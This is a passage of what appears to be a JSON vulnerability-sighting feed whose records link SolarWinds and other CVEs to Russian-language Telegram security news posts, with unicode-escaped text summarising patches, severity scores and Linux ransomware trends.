\u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u043d\u044b\u0445 \u043f\u0443\u0442\u0435\u0439, \u0447\u0442\u043e\u0431\u044b \u0437\u0430\u0440\u0430\u0436\u0435\u043d\u043d\u0430\u044f \u043c\u0430\u0448\u0438\u043d\u0430 \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u043b\u0430 \u0440\u0430\u0431\u043e\u0442\u0430\u0442\u044c.\n\n\u041a\u0430\u043a \u043e\u0442\u043c\u0435\u0447\u0430\u044e\u0442 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438, \u043f\u043e \u0441\u0440\u0430\u0432\u043d\u0435\u043d\u0438\u044e \u0441 Windows, \u043d\u0430 Linux \u0441\u043b\u043e\u0436\u043d\u0435\u0435 \u0440\u0430\u0437\u0432\u0435\u0440\u0430\u0447\u0438\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u044b-\u0432\u044b\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u0438, \u043e\u0441\u043e\u0431\u0435\u043d\u043d\u043e \u0432 \u0431\u043e\u043b\u044c\u0448\u0438\u0445 \u043c\u0430\u0441\u0448\u0442\u0430\u0431\u0430\u0445.\n\n\u041c\u043d\u043e\u0433\u0438\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u044b Linux \u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u0441\u0435\u0440\u0432\u0435\u0440\u0430\u043c\u0438: \u0442\u0438\u043f\u0438\u0447\u043d\u044b\u0435 \u0432\u0435\u043a\u0442\u043e\u0440\u044b \u0437\u0430\u0440\u0430\u0436\u0435\u043d\u0438\u044f, \u0442\u0430\u043a\u0438\u0435 \u043a\u0430\u043a \u0444\u0438\u0448\u0438\u043d\u0433 \u0438\u043b\u0438 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0430 \u0441 \u0434\u0438\u0441\u043a\u0430, \u043f\u0440\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u043d\u0435 \u044d\u0444\u0444\u0435\u043a\u0442\u0438\u0432\u043d\u044b.\n\n\u0427\u0442\u043e\u0431\u044b \u043f\u0440\u0435\u043e\u0434\u043e\u043b\u0435\u0442\u044c \u0442\u0430\u043a\u0438\u0435 \u0442\u0440\u0443\u0434\u043d\u043e\u0441\u0442\u0438, \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043f\u0440\u0438\u0431\u0435\u0433\u0430\u044e\u0442 \u043a \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439. \u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u0438 IBM Aspera Faspex \u043e\u043a\u0430\u0437\u0430\u043b\u0430\u0441\u044c \u0432 \u0442\u0440\u0435\u043d\u0434\u0435.", "creation_timestamp": "2023-03-10T15:30:07.000000Z"}, {"uuid": "d337b03f-fe42-402a-ba7a-0b0607c282a5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47509", "type": "seen", "source": "https://t.me/true_secator/4316", "content": "\u041f\u0435\u0447\u0430\u043b\u044c\u043d\u043e \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u0430\u044f SolarWinds \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u044b \u0434\u043b\u044f \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0434\u0432\u0435 \u0438\u0437\u0438 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0432\u044b\u0441\u043e\u043a\u043e\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u0438 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438 \u043c\u043e\u0433\u043b\u0438 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u043a\u043e\u043c\u0430\u043d\u0434 \u0438 \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044e \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439.\n\n\u041d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0439 \u0438\u0437 \u0434\u0432\u0443\u0445 \u043f\u0440\u043e\u0431\u043b\u0435\u043c \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f CVE-2022-36963 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS 8,8), \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043e\u0431\u043e\u0439 \u043e\u0448\u0438\u0431\u043a\u0443 \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f \u043a\u043e\u043c\u0430\u043d\u0434 \u0432 \u0440\u0435\u0448\u0435\u043d\u0438\u0435 \u0434\u043b\u044f \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u043e\u0439.\n\n\u041f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a \u043e\u0431\u044a\u044f\u0441\u043d\u044f\u0435\u0442, \u0447\u0442\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043c\u043e\u0436\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e \u0434\u043b\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0445 \u043a\u043e\u043c\u0430\u043d\u0434, \u043d\u043e \u0434\u043b\u044f \u044d\u0442\u043e\u0433\u043e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u0434\u043e\u043b\u0436\u0435\u043d \u0438\u043c\u0435\u0442\u044c \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u0443\u0447\u0435\u0442\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u044b SolarWinds.\n\n\u0414\u0440\u0443\u0433\u0430\u044f \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u043c\u0430\u044f \u043a\u0430\u043a CVE-2022-47505 \u0438\u043c\u0435\u0435\u0442 \u043e\u0446\u0435\u043d\u043a\u0443 CVSS 7,8 \u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0441 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u0443\u0447\u0435\u0442\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u044c\u044e \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u043f\u043e\u0432\u044b\u0448\u0430\u0442\u044c \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0435 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438.\n\n\u041e\u0431\u0435 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u0431\u044b\u043b\u0438 \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u044b \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c\u0438 Trend Micro Zero Day Initiative \u0438 \u0437\u0430\u043a\u0440\u044b\u0442\u044b \u0441 \u0432\u044b\u043f\u0443\u0441\u043a\u043e\u043c \u0432\u0435\u0440\u0441\u0438\u0438 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u044b SolarWinds 2023.2.\n\n\u0412 \u0432\u044b\u043f\u0443\u0441\u043a\u0435 \u041f\u041e \u0442\u0430\u043a\u0436\u0435 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0430 CVE-2022-47509 \u0441\u0440\u0435\u0434\u043d\u0435\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u0438 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u0430\u044f \u0441 \u043d\u0435\u0439\u0442\u0440\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0435\u0439 \u043d\u0435\u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e\u0433\u043e \u0432\u0432\u043e\u0434\u0430, \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u043c\u043e\u0436\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e, \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u044f \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u044b URL \u0434\u043b\u044f \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f HTML-\u043a\u043e\u0434\u0430.\u00a0\u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u0434\u0435\u0439\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u0439 \u0443\u0447\u0435\u0442\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438.\n\n\u041a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e, SolarWinds \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u044b \u0434\u0432\u0435 \u043e\u0448\u0438\u0431\u043a\u0438 \u0441\u0440\u0435\u0434\u043d\u0435\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u0438 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438 \u0432 Database Performance Analyzer, \u043e\u0434\u043d\u0430 \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u043b\u0430 \u043a \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u044e \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438, \u0430 \u0434\u0440\u0443\u0433\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u043b\u0430 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u043f\u043e\u043b\u0443\u0447\u0430\u0442\u044c \u043f\u0435\u0440\u0435\u0447\u0435\u043d\u044c \u043f\u0430\u043f\u043e\u043a \u0441\u0435\u0440\u0432\u0435\u0440\u0430.\n\n\u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u043d\u0435 \u0443\u043f\u043e\u043c\u0438\u043d\u0430\u0435\u0442 \u043e\u0431 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0438 \u043a\u0430\u043a\u0438\u0445-\u043b\u0438\u0431\u043e \u0438\u0437 \u044d\u0442\u0438\u0445 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u043e\u0432 \u0432 \u0430\u0442\u0430\u043a\u0430\u0445, \u043e\u0434\u043d\u0430\u043a\u043e \u0432 \u0441\u043b\u0443\u0447\u0430\u0435 \u0441 SolarWinds - \u0437\u0430\u0440\u0435\u043a\u0430\u0442\u044c\u0441\u044f \u043d\u0435 \u0441\u0442\u043e\u0438\u0442.", "creation_timestamp": "2023-04-24T19:04:03.000000Z"}, {"uuid": "4ac374be-47b7-462f-9f3e-3f99840fc311", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47505", "type": "seen", "source": "https://t.me/true_secator/4316", "content": "\u041f\u0435\u0447\u0430\u043b\u044c\u043d\u043e \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u0430\u044f SolarWinds \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u044b \u0434\u043b\u044f \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0434\u0432\u0435 \u0438\u0437\u0438 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0432\u044b\u0441\u043e\u043a\u043e\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u0438 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438 \u043c\u043e\u0433\u043b\u0438 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u043a\u043e\u043c\u0430\u043d\u0434 \u0438 \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044e \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439.\n\n\u041d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0439 \u0438\u0437 \u0434\u0432\u0443\u0445 \u043f\u0440\u043e\u0431\u043b\u0435\u043c \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f CVE-2022-36963 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS 8,8), \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043e\u0431\u043e\u0439 \u043e\u0448\u0438\u0431\u043a\u0443 \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f \u043a\u043e\u043c\u0430\u043d\u0434 \u0432 \u0440\u0435\u0448\u0435\u043d\u0438\u0435 \u0434\u043b\u044f \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u043e\u0439.\n\n\u041f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a \u043e\u0431\u044a\u044f\u0441\u043d\u044f\u0435\u0442, \u0447\u0442\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043c\u043e\u0436\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e \u0434\u043b\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0445 \u043a\u043e\u043c\u0430\u043d\u0434, \u043d\u043e \u0434\u043b\u044f \u044d\u0442\u043e\u0433\u043e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u0434\u043e\u043b\u0436\u0435\u043d \u0438\u043c\u0435\u0442\u044c \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u0443\u0447\u0435\u0442\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u044b SolarWinds.\n\n\u0414\u0440\u0443\u0433\u0430\u044f \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u043c\u0430\u044f \u043a\u0430\u043a CVE-2022-47505 \u0438\u043c\u0435\u0435\u0442 \u043e\u0446\u0435\u043d\u043a\u0443 CVSS 7,8 \u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0441 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u0443\u0447\u0435\u0442\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u044c\u044e \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u043f\u043e\u0432\u044b\u0448\u0430\u0442\u044c \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0435 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438.\n\n\u041e\u0431\u0435 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u0431\u044b\u043b\u0438 \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u044b \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c\u0438 Trend Micro Zero Day Initiative \u0438 \u0437\u0430\u043a\u0440\u044b\u0442\u044b \u0441 \u0432\u044b\u043f\u0443\u0441\u043a\u043e\u043c \u0432\u0435\u0440\u0441\u0438\u0438 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u044b SolarWinds 2023.2.\n\n\u0412 \u0432\u044b\u043f\u0443\u0441\u043a\u0435 \u041f\u041e \u0442\u0430\u043a\u0436\u0435 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0430 CVE-2022-47509 \u0441\u0440\u0435\u0434\u043d\u0435\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u0438 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u0430\u044f \u0441 \u043d\u0435\u0439\u0442\u0440\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0435\u0439 \u043d\u0435\u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e\u0433\u043e \u0432\u0432\u043e\u0434\u0430, \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u043c\u043e\u0436\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e, \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u044f \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u044b URL \u0434\u043b\u044f \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f HTML-\u043a\u043e\u0434\u0430.\u00a0\u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u0434\u0435\u0439\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u0439 \u0443\u0447\u0435\u0442\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438.\n\n\u041a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e, SolarWinds \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u044b \u0434\u0432\u0435 \u043e\u0448\u0438\u0431\u043a\u0438 \u0441\u0440\u0435\u0434\u043d\u0435\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u0438 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438 \u0432 Database Performance Analyzer, \u043e\u0434\u043d\u0430 \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u043b\u0430 \u043a \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u044e \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438, \u0430 \u0434\u0440\u0443\u0433\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u043b\u0430 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u043f\u043e\u043b\u0443\u0447\u0430\u0442\u044c \u043f\u0435\u0440\u0435\u0447\u0435\u043d\u044c \u043f\u0430\u043f\u043e\u043a \u0441\u0435\u0440\u0432\u0435\u0440\u0430.\n\n\u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u043d\u0435 \u0443\u043f\u043e\u043c\u0438\u043d\u0430\u0435\u0442 \u043e\u0431 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0438 \u043a\u0430\u043a\u0438\u0445-\u043b\u0438\u0431\u043e \u0438\u0437 \u044d\u0442\u0438\u0445 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u043e\u0432 \u0432 \u0430\u0442\u0430\u043a\u0430\u0445, \u043e\u0434\u043d\u0430\u043a\u043e \u0432 \u0441\u043b\u0443\u0447\u0430\u0435 \u0441 SolarWinds - \u0437\u0430\u0440\u0435\u043a\u0430\u0442\u044c\u0441\u044f \u043d\u0435 \u0441\u0442\u043e\u0438\u0442.", "creation_timestamp": "2023-04-24T19:04:03.000000Z"}, {"uuid": "f0209581-47ad-4956-b47f-316798d5b345", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47506", "type": "seen", "source": "https://t.me/true_secator/4088", "content": "SolarWinds \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043b\u0430 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0431\u044e\u043b\u043b\u0435\u0442\u0435\u043d\u0435\u0439 \u0434\u043b\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432\u044b\u0441\u043e\u043a\u043e\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u0438 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0431\u0443\u0434\u0443\u0442 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u044b \u0432 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0438 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u044b \u043a \u043a\u043e\u043d\u0446\u0443 \u0444\u0435\u0432\u0440\u0430\u043b\u044f.\n\n\u0418\u0437 \u0441\u0435\u043c\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u043f\u044f\u0442\u044c \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u044e\u0442\u0441\u044f \u043a\u0430\u043a \u0434\u0435\u0441\u0435\u0440\u0438\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f \u043f\u0440\u043e\u0431\u043b\u0435\u043c \u0441 \u043d\u0435\u043d\u0430\u0434\u0435\u0436\u043d\u044b\u043c\u0438 \u0434\u0430\u043d\u043d\u044b\u043c\u0438 \u0438 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u044b \u0434\u043b\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u043c\u0430\u043d\u0434.\u00a0\u0427\u0435\u0442\u044b\u0440\u0435 \u0438\u0437 \u043d\u0438\u0445 \u043f\u0440\u0438 \u044d\u0442\u043e\u043c \u0438\u043c\u0435\u044e\u0442 \u043e\u0446\u0435\u043d\u043a\u0443 CVSS 8,8.\n\nCVE-2023-23836, CVE-2022-47503, CVE-2022-47504 \u0438 CVE-2022-47507 \u043c\u043e\u0433\u0443\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u043c\u0443 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0441 \u0443\u0447\u0435\u0442\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u044c\u044e \u0443\u0440\u043e\u0432\u043d\u044f \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 Orion \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0432\u0435\u0431-\u043a\u043e\u043d\u0441\u043e\u043b\u0438 SolarWinds \u0434\u043b\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b.\n\n\u041f\u044f\u0442\u0443\u044e \u043e\u0448\u0438\u0431\u043a\u0443 CVE-2022-38111 SolarWinds \u0441\u0447\u0438\u0442\u0430\u0435\u0442 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u043e\u0439 \u0441\u0440\u0435\u0434\u043d\u0435\u0439 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438, \u0445\u043e\u0442\u044f \u043f\u043e\u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u044f \u0443\u0441\u043f\u0435\u0448\u043d\u043e\u0439 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0442\u0430\u043a\u0438\u0435 \u0436\u0435.\u00a0\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0442\u0430\u043a\u0436\u0435 \u0438\u043c\u0435\u0435\u0442 \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0432\u044b\u0441\u043e\u043a\u0443\u044e \u043e\u0446\u0435\u043d\u043a\u0443 CVSS 7,2.\n\n\u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u0442\u0430\u043a\u0436\u0435 \u043e\u0431\u044a\u044f\u0432\u0438\u043b\u0430 \u043e\u0431 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f\u0445 \u0434\u043b\u044f \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043e\u0431\u0445\u043e\u0434\u0430 \u043f\u0443\u0442\u0438 \u0432 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0435 SolarWinds, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u043a CVE-2022-47506 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS 8,8).\n\n\u042d\u0442\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u043c\u0443 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0441 \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0434\u043e\u0441\u0442\u0443\u043f\u043e\u043c \u043a \u0443\u0447\u0435\u0442\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438 \u0440\u0435\u0434\u0430\u043a\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u044e \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044f 